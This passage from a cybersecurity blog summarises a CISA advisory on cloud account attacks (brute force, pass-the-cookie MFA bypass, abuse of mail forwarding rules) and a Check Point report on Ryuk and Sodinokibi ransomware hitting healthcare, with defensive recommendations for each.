The agency added that this open port 80 was exploited by launching brute force attacks. In brute force attacks, threat actors use the trial-and-error method to guess the correct username and password combination.
MFA Bypass via Pass-the-Cookie Attack
According to CISA, threat actors successfully signed into a cloud account with proper multi-factor authentication (MFA). “In this case, CISA believes the threat actors may have used browser cookies to defeat MFA with a ‘pass-the-cookie’ attack,” the agency said.
Authentication cookies are commonly used by cloud-based services to avoid frequently asking users to re-enter their credentials. Cookies are often valid for an extended period of time, even when the cloud-based service isn’t actively used.
“After the cookie is obtained through Steal Web Session Cookie, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active,” MITRE said. “Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.”
Taking Advantage of Keyword Search Rule and Email Forwarding Rule
After gaining access into victims’ cloud service accounts, CISA said threat actors take advantage of keyword search rule and email forwarding rule.
Keyword search and email forwarding are two features found in many cloud service accounts. These features can be applied manually or automatically. While these two features are handy, these two pose a security risk due to the potential disclosure of information.
According to CISA, threat actors modified existing automated keyword search rules to search victims’ email messages for several finance-related keywords. The agency added that threat actors modified existing automated email forwarding rules and forward the emails to the threat actors’ accounts.
Mitigating Measures to Strengthen Cloud Security Practices
Here are some of the recommended mitigating measures to strengthen cloud security practices:
Phishing Scams Education
Train employees about phishing emails by making them aware how these emails are being delivered.
Secure Over-all Network from Open Port 80
One way to mitigate the adverse effect of an open port 80 is by implementing network segmentation. In network segmentation, your organization’s network is divided into sub-networks so that in case one sub-network is compromised the other sub-networks won’t be affected.
Mitigating Measures Against Pass-the-Cookie Attacks
Mitigating measures against pass-the-cookie attacks includes MFA that uses the target login domain as part of the negotiation protocol. Software configuration is another mitigating measure against pass-the-cookie attacks. In software configuration, browsers are configured to regularly delete persistent cookies.
Mitigating Measures Against Exploitation of Keyword Search Rule and Email Forwarding Rule
Mitigating measures against exploitation of keyword search rule and email forwarding rule include routinely reviewing these rules for any signs of malicious changes.
In the case of Microsoft 365, outbound spam filter policies are available to control automatic forwarding to external recipients. One of the available outbound spam filter policies is the “Off” option which disables automatic external forwarding and will result in a non-delivery report to the sender.
Implement Zero Trust Security Strategy
Zero Trust assumes that no one should be trusted by default within and outside the network. Zero trust security strategy includes the principle of least privilege and the principle of explicit verification.
In implementing the principle of least privilege, right access at the right time is only given to those who need it. Explicit verification, meanwhile, includes MFA that requires users using new devices and from new locations to respond to an MFA challenge.
Ransomware Attacks on Healthcare Organizations Globally Increase by 45%, Study Shows
A recent report from Check Point showed that since November 2020, ransomware attacks targeting healthcare organizations globally has increased by 45%.
In the report "Attacks targeting healthcare organizations spike globally as COVID-19 cases rise again," Check Point said that the spike in the ransomware attacks targeting healthcare organizations globally more than double the overall increase in cyberattacks across all industry sectors worldwide seen during the same period. According to Check Point, the main ransomware variant used in the ransomware attacks was Ryuk, followed by Sodinokibi.
What Is Ransomware?
Ransomware is a type of malicious software (malware) that blocks victims from assessing their computer systems or files and demands from the victims ransom payment for victims to re-gain access to the computer systems or files. Ransomware attackers also demand a separate ransom payment in exchange for the non-publication of data stolen in the course of the ransomware attack.
Ryuk and Sodinokibi Ransomware
Ryuk ransomware is a cyber threat that has been targeting organizations, specifically hospitals, businesses, and government institutions since 2018. This ransomware was first observed in the wild in August 2018.
Code comparison analysis of Ryuk ransomware and Hermes ransomware showed that both are generally equal, giving credence to the theory that the developer of Ryuk has access to the Hermes source code. Hermes ransomware was responsible for the money heist of a Taiwanese bank in October 2017.
Hermes is called a “pseudo-ransomware” – referring to ransomware that uses a ransomware attack as a cover to distract its main goal: stealing money. In the money heist of a Taiwanese bank in 2017, the Hermes ransomware attack was perfectly timed at the time when money was stolen from the bank.
The group behind Ryuk ransomware demands that the ransom payment should be in the form of the cryptocurrency bitcoin. After tracing bitcoin transactions for the known addresses attributable to Ryuk, researchers from HYAS and Advanced Intelligence reported that the group behind Ryuk earned more than $150,000,000.
“Ryuk receives a significant amount of their ransom payments from a well-known broker that makes payments on behalf of the ransomware victims,” researchers from HYAS and Advanced Intelligence said. “These payments sometimes amount to millions of dollars and typically run in the hundreds of thousands range.”
Sodinokibi, also known as REvil, meanwhile, is a type of ransomware that was first observed in April 2019. Code comparison analysis of Sodinokibi and another ransomware called “GandCrab” showed that the two shared a lot of similarities, indicating the developer of Sodinokibi had access to the GandCrab source code.
Both Ryuk and Sodinokibi encrypt important files in the compromised computer, locking out users from their files. These two demand a ransom to decrypt or unlock these files.
It’s now a known fact that during the course of the ransomware attack, Ryuk and Sodinokibi also steal victims’ files before encrypting them. Stolen data is then used for “double-extortion” attempt, that is, in addition to ransom payment to unlock the locked files, attackers demand from victims to pay another ransomware payment for the stolen files, threatening victims that failure to pay this second ransom payment would lead to the publication of the stolen files.
In November 2020, K12 Inc., now known as Stride, Inc., a company that provides online education, admitted that it was a victim of a ransomware attack. Open-sourced reports showed that Ryuk ransomware hit K12 Inc.
In a statement, K12 Inc. said, “We have already worked with our cyber insurance provider to make a payment to the ransomware attacker, as a proactive and preventive step to ensure that the information obtained by the attacker from our systems will not be released on the Internet or otherwise disclosed.”
Ryuk and Sodinokibi are part of the ransomware families called “Ransomware-as-a-Service (RaaS)”. In RaaS, one group maintains the ransomware code, and another group, known as affiliates, spreads the ransomware.
Cybersecurity Best Practices Against Ransomware Attacks
Both Ryuk and Sodinokibi are commonly spread via very targeted means such as RDP and spear phishing.
RDP, short for Remote Desktop Protocol, is a proprietary protocol developed by Microsoft which provides Windows user to connect to another Windows computer. In the blog post "Data science for cybersecurity: A probabilistic time series model for detecting RDP inbound brute force attacks," Microsoft Defender Security Research Team said that RDP is an attractive target for threat actors as this presents a simple and effective way to gain access to a network, and conduct many follow-on activities such as ransomware attack.
Microsoft Defender Security Research Team said that threat actors often gain access to RDP through brute-force attack – referring to the trial-and-error method of guessing the correct username and password combination. Spear phishing, meanwhile, weaponizes an email against specific and well-researched targets. A spear-phishing email masquerades as coming from a trustworthy source.
Traditional spear-phishing emails attached malicious documents, for instance, a zip file. Modern-day spear-phishing emails come with malicious documents that are hosted on legitimate sites such as Dropbox, OneDrive, or Google Drive.
To protect RDP from brute-force attacks and ultimately ransomware attacks, use strong passwords, multi-factor authentication, virtual private networks (VPNs), and other security protections. Spear phishing prevention, meanwhile, includes phishing simulation tests, and an established process for users to report suspicious emails to the IT security team.
It’s also important to implement the 3-2-1 backup rule and network segmentation in case attackers breach your organization’s network.
The 3-2-1 backup rule means that at least 3 copies of critical data must be kept, with 2 copies in different media and one copy offsite. Network segmentation, meanwhile, refers to the practice of dividing your organization’s network into sub-networks so that in case something happens to one sub-network, the other sub-networks won’t be affected.
Steve E. Driz, I.S.P., ITCP